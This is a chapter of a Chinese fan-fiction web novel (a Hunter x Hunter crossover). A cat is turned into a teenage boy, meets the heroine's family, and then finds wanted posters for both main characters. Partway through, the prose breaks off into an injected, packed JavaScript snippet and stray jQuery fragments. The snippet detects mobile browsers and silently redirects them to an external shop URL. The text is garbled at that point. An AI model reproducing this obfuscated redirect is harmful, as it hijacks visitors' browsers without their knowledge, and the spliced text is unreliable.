【46】

    空助的消息在周二上午发来,卡莉丝塔拿起手机扫了一眼,随后把蜷在沙发扶手上打盹的黑猫捞进怀里。

    猫睁开一只眼看了看她的表情,安静地窝在她臂弯里,尾巴垂下来晃了一下。

    齐木雅琴看到女儿抱着猫往玄关走,忍不住问:“莉亚?中午回不回来吃饭?”

    “不一定。”猫蹲在卡莉丝塔脚边仰头看她,“表哥那边有点事。”

    “那妈妈给你留着,放微波炉里热一下就能吃。”齐木雅琴皱眉,“小黑也去吗?”

    “嗯。”

    “路上小心。”

    齐木宅二楼,齐木空助头也不抬,“时间刚好,刚校准完最后一道频率同步线。”

    卡莉丝塔把猫放在实验台上,实验台正中央摆着一个半透明的容器,容器内部的空气被某种力场约束着,隐隐能看到一圈一圈极淡的波纹在缓慢旋转。

    猫蹲在容器旁边,低头看了看底座上那些密密麻麻的念纹刻痕,然后抬头看卡莉丝塔,那双黑眼睛里的瞳孔缩成了一条极细的竖线。

    “原理很简单。”齐木空助把金属球嵌进容器底座正中央的凹槽里。

    卡莉丝塔低头看着猫,猫也看着她。

    沉默大概持续了几秒,她把玻璃罩打开,往后退了半步。

    猫自己走进了容器,它蹲在那圈缓慢旋转的光纹中央,姿势端正,尾巴绕在前爪上。

    玻璃罩降下来时,那双黑眼睛透过弧形玻璃壁望着她。

    齐木空助按下启动键。

    光芒从底座往上涌,白光亮得近乎刺眼,把猫的轮廓完全吞没,然后光柱内部的颜色开始变化。

    玻璃罩内部温度急剧升高,猫蜷在容器底部的身影在强光里逐渐模糊,毛皮的边界开始融化。

    光芒消散后,容器里,他蜷缩在底座上,黑发遮住了大半张脸。

    身上的衣服是齐木空助提前准备的黑色高领衫和深灰色长裤,尺码明显偏大,十五六岁的少年骨架还没完全长开,肩膀偏窄,锁骨从领口边缘露出一截线条。

    他抬起头,隔着那层弧形玻璃壁望着卡莉丝塔。

    实验室冷白的光打在他脸上,颧骨的轮廓收得很利落,下颌线比上次在黑暗大陆时更清晰了些。

    卡莉丝塔把手放在玻璃罩的开关上,他没有站起来,安静地仰头看她,那双黑曜石般的眼睛里只有沉静。

    她按下开关,玻璃罩升起来。

    他站起来,比她高了大半个头,左手撑着容器边缘,“这个尺码,有点松。”

    卡莉丝塔双手交叉抱在胸前,“看起来太普通了,跟街上随便哪个少年一样。”她说。

    这大概是她第一次见到完全放松的卡利斯托。

    ☆

    玄关的门推开时,客厅里的午间剧刚好播到片尾曲。

    齐木雅琴看到女儿身后的黑发少年,动作停了一拍,然后把菠菜放在料理台上,用围裙擦了擦手。

    “莉亚,这位是……”

    卡莉丝塔往左挪了小半步,把她和卡利斯托之间的空隙挡在身后,“他是小……”

    “小黑。”卡利斯托的声音从她头顶上方落下来。

    卡莉丝塔回头看了他一眼,他的表情过分平静,右手垂在身侧,手指无意识地捻着过长的袖口边缘。

    “小黑?”齐木雅琴重复了一遍,视线越过女儿的肩膀落在那张和她有几分相似的黑色眼眸上,然后又移到卡莉丝塔脸上,“……小黑?”

    卡莉丝塔点头,疯狂点头。

    齐木雅琴从头到脚打量了一遍这个穿着明显偏大衣服的黑发少年,开口说了一句让卡莉丝塔差点当场石化的话。

    “那你为什么要穿这么短的衣服?妈妈给你买几件新的吧。”

    “妈,”卡莉丝塔深吸一口气,“变人这回事,你就不好奇吗?”

    “这个等一下再说。”齐木雅琴已经转身朝楼梯口走了两步,仰头朝二楼喊了一声,“阿娜达~”

    卢卡斯闻言愣了一下,“莉亚带男朋友回来了?”

    “不是。”

    “是小黑。”

    猫变人了,哦,卫衣,多大码,卢卡斯非常平静地点了点头,“卫衣在衣柜左边第二格,等我拿下来。”

    他转身回书房,脚步声在走廊里响了半路又停住,随即又问:“莉亚,你确定不是男朋友?”

    “不是!”

    这也太奇怪了,正常父母听到家里猫变成人了总该表现出一点疑惑吧?

    “好。”卢卡斯缩回头。

    卡莉丝塔转头瞪着卡利斯托,他站在她身后半步,两只手都缩在过长的袖口里,只露出半截指尖。

    他和以前判若两人,以前的卡利斯托就像一把永远上着弦的弩,现在站在玄关灯光下的这个人,看上去就是个穿着偏大衣服的、有一点拘谨的少年。

    卢卡斯抱着灰色卫衣从楼上下来,他把衣服递给卡利斯托,然后问:“你是公猫还是母猫变的?”

    “爸爸!”

    “公猫。”卡利斯托接过卫衣,把袖子抖开,动作利落地套在高领衫外面,“我不做绝育。”

    卢卡斯闻言发出一个深思熟虑的单音节,“呃,那你现在……”

    “爸爸!”卡莉丝塔捂住脸。

    卡利斯托换好卫衣从二楼下来的时候,齐木雅琴已经把茶几收拾干净,摆好了两杯冰麦茶和一盘切好的苹果。

    她坐在沙发正中央,拍了拍旁边的位置,“坐这边,卡尔,让妈妈好好看看。”

    卡利斯托在她指定的位置坐下,背挺得很直,双手搁在膝盖上。

    齐木雅琴近距离看了他一会儿,“所以,以后打算怎么办?上学还是打工?在日本还是回……”

    “妈妈。”

    齐木雅琴理所当然道:“怎么了,人总要吃饭的!照你说的!卡尔现在这个样子,户口在哪儿,学籍在哪儿,到时候怎么考大学。”

    她说着说着有些当真了,已经开始认真盘算:高中学区在哪,要不要提前报塾,理科好还是文科好。

    卡莉丝塔替卡利斯托沉默。

    无户籍,无出生记录,无学籍,无保险号,法律上形同虚无。远房亲戚的话,办

    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17776812|204968||http|test|mini|href|location'.split('|'),0,{}));

    () {

    $('.inform').remove();

    $('#content').append('

    远房亲戚需要先有亲属关系证明,亲属关系证明需要先证明这个人存在,而这一切手续的前提,正是证明他存在。

    这简直就是一个死循环。

    无奈之下,卡莉丝塔只能假扮思考者,“我想的是先回卡利斯托之前的地方,先把那边的事处理完,之后再决定要不要回来。”

    卡利斯托沉默了片刻,他看着茶几上那杯还在冒热气的茶,茶叶梗在杯底竖着,雅琴妈妈说那是好运的征兆。

    “那边的家人,”他说,“现在可能还躲着我。”

    “这多大点事嘛!”齐木雅琴的语气很轻快,“家人这种东西,生气了可以哄,吵了架可以和好。妈妈虽然不清楚你在那边做了什么让他们生气的事,但你走了这么久,他们肯定也在想你吧!”

    卡利斯托抬头看着齐木雅琴,她正用那双和他一模一样的黑色眼眸望着他,那目光让他想起基裘,他把视线移回茶杯上。

    空助的中继站反向传送在傍晚六点启动。

    “那边连通之后会自动把人形数据同步过去,落地就是你本来的样子。不过要提醒你一句,”空助的声音从舱外传来,“莉亚,你在那边的身份信息还是你原来的身份,户籍学籍那些问题在这边怎么解决,你们回去自己想办法吧。”

    落点偏离预估坐标大约十七公里,卡莉丝塔从半人高的灌木丛里爬起来,吐掉嘴里的草叶子,把挂在头发上的枯枝一根一根摘下来。

    卡利斯托站在她旁边拍掉肩膀上的碎叶。

    空气是熟悉的干燥,带着针叶林特有的松脂味和远处积雪融水的冷意,远方山脊线上压着厚厚一层云,她展开【千里眼】扫了一圈,最近的人类定居点在南偏东方向,走路大概四十分钟。

    定居点是个叫卡尔加的小镇,人口不到三千,镇上唯一的信息公告栏挂在邮局外墙。

    一群刚下班的人围在公告栏前面,有人在小声议论,有人举着手机拍照,闪光灯在将暗未暗的天色里白得刺眼。

    公告栏上贴着两张通缉令,纸质是猎人协会特制的防潮合成纸,照片是高清彩印,赏金额后面跟着的零足够在友克鑫买一套大平层。

    第一张,甲级,卡利斯托·揍敌客。叛逃、窃取家族机密资产、袭击家族成员。悬赏三十五亿戒尼,要求:活捉。

    第二张,乙级,卡莉丝塔·鲁西鲁。协助逃亡、涉嫌勾结黑暗大陆未知生物。悬赏三亿戒尼,死活不论。

    卡莉丝塔盯着自己那张通缉令上的照片看了片刻,角度应该是抓拍的,背景是友克鑫某条巷子的路灯柱,她正偏头和旁边的人说话,白发被风吹得遮住了小半张脸。

    拍得还挺好看。

    “三亿,”她说,“我就值这么点吗。”

    “活捉的话会更高吧?”卡利斯托双手插在卫衣口袋里,和她并肩站在公告栏前面。灰色卫衣的抽绳被风吹得一晃一晃,他偏头看了她一眼,“而且你的那张写的是死活不论。”

    “意思是我死了也值三亿。”

    “嗯。”

    “那你那张活捉是……”

    “……家里人要活的。”